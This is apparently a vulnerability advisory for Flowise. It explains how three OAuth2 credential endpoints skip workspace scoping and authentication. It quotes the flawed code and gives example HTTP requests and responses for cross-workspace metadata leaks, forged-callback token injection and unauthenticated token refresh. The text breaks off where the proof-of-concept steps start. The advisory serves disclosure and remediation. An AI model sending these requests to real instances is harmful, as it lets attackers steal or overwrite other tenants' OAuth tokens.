Flowise: Cross-Workspace OAuth2 Credential Metadata Leak
Summary
Three OAuth2 credential endpoints look up credentials by id alone with no workspaceId filter. Two of these endpoints (callback, refresh) are whitelisted from all authentication. This allows:
1. Cross-workspace credential access — Any authenticated user can initiate OAuth2 flows against credentials belonging to other workspaces.
2. Unauthenticated token injection — An unauthenticated attacker can forge OAuth2 callbacks to overwrite tokens in any credential.
3. Unauthenticated token refresh — An unauthenticated attacker can refresh tokens for any credential.
Root Cause
Vulnerable code: no workspace scoping
All three OAuth2 handlers query the Credential table by id only:
packages/server/src/routes/oauth2/index.ts:80-82 (authorize)
```typescript
const credential = await credentialRepository.findOneBy({
id: credentialId
// Missing: workspaceId filter
})
```
packages/server/src/routes/oauth2/index.ts:183-185 (callback)
```typescript
const credential = await credentialRepository.findOneBy({
id: state as string
// Missing: workspaceId filter
})
```
packages/server/src/routes/oauth2/index.ts:314-316 (refresh)
```typescript
const credential = await credentialRepository.findOneBy({
id: credentialId
// Missing: workspaceId filter
})
```
Correct pattern (same codebase)
The standard credential service correctly enforces workspace isolation:
packages/server/src/services/credentials/index.ts:130-132
```typescript
const credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({
id: credentialId,
workspaceId: workspaceId // <-- Workspace scoping present
})
```
Authentication bypass via whitelist
packages/server/src/utils/constants.ts:40-41
```typescript
export const WHITELIST_URLS = [
// ...
'/api/v1/oauth2-credential/callback', // line 40
'/api/v1/oauth2-credential/refresh', // line 41
// ...
]
```
packages/server/src/index.ts:223-225 — prefix-matched whitelist skips all auth:
```typescript
const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
if (isWhitelisted) {
next() // No JWT verification, no API key check
}
```
Attack Scenarios
Scenario A: Cross-Workspace Credential Metadata Leak
An authenticated user in Workspace A initiates an OAuth2 authorize flow for a credential belonging to Workspace B. The server returns an authorization URL containing the victim credential's client_id, scope, and redirect_uri.
```
POST /api/v1/oauth2-credential/authorize/<VICTIM_CREDENTIAL_UUID>
Cookie: connect.sid=<ATTACKER_SESSION>
```
Response:
```json
{
"success": true,
"credentialId": "<VICTIM_CREDENTIAL_UUID>",
"authorizationUrl": "https://provider.com/oauth2/authorize?client_id=LEAKED_CLIENT_ID&scope=LEAKED_SCOPE&...",
"redirectUri": "https://flowise-instance/api/v1/oauth2-credential/callback"
}
```
Scenario B: Unauthenticated Token Injection via Forged Callback
The callback endpoint requires no authentication and uses the state parameter as the credential lookup key. An attacker who controls an OAuth2 provider (or MitMs the flow) can inject arbitrary tokens into any credential.
```
GET /api/v1/oauth2-credential/callback?code=ATTACKER_AUTH_CODE&state=<VICTIM_CREDENTIAL_UUID>
(No authentication required)
```
The server exchanges the code at the credential's accessTokenUrl, and whatever tokens the provider returns are encrypted and stored into the victim's credential record (line 271):
```typescript
await credentialRepository.update(credential.id, {
encryptedData, // Contains attacker-controlled token data
updatedDate: new Date()
})
```
Scenario C: Unauthenticated Token Refresh
An attacker can refresh any credential's OAuth2 tokens without authentication. The server reads the stored refresh_token, exchanges it at the accessTokenUrl, and returns fresh token metadata.
```
POST /api/v1/oauth2-credential/refresh/<VICTIM_CREDENTIAL_UUID>
(No authentication required)
```
Response:
```json
{
"success": true,
"credentialId": "<VICTIM_CREDENTIAL_UUID>",
"tokenInfo": {
"access_token": "new-access-token-value",
"token_type": "Bearer",
"expires_in": 3600,
"has_new_refresh_token": false,
"expires_at": "2026-04-13T12:00:00.000Z"
}
}
```
The fresh access_token is returned directly in the response body (line 393-401), giving the attacker a valid OAuth2 token for whatever service the victim credential is connected to.
Proof of Concept
Prerequisites
- A running Flowise instance with at least two workspaces (Workspace A and Workspace B)
- An OAuth2 credential configured in Workspace B (the victim)
- The credential UUID of the victim credential (obtainable by any member of Workspace B, or via IDOR — see Finding 4)
Step 1 — Confirm unauthenticated refresh endpoint is reachable
```bash
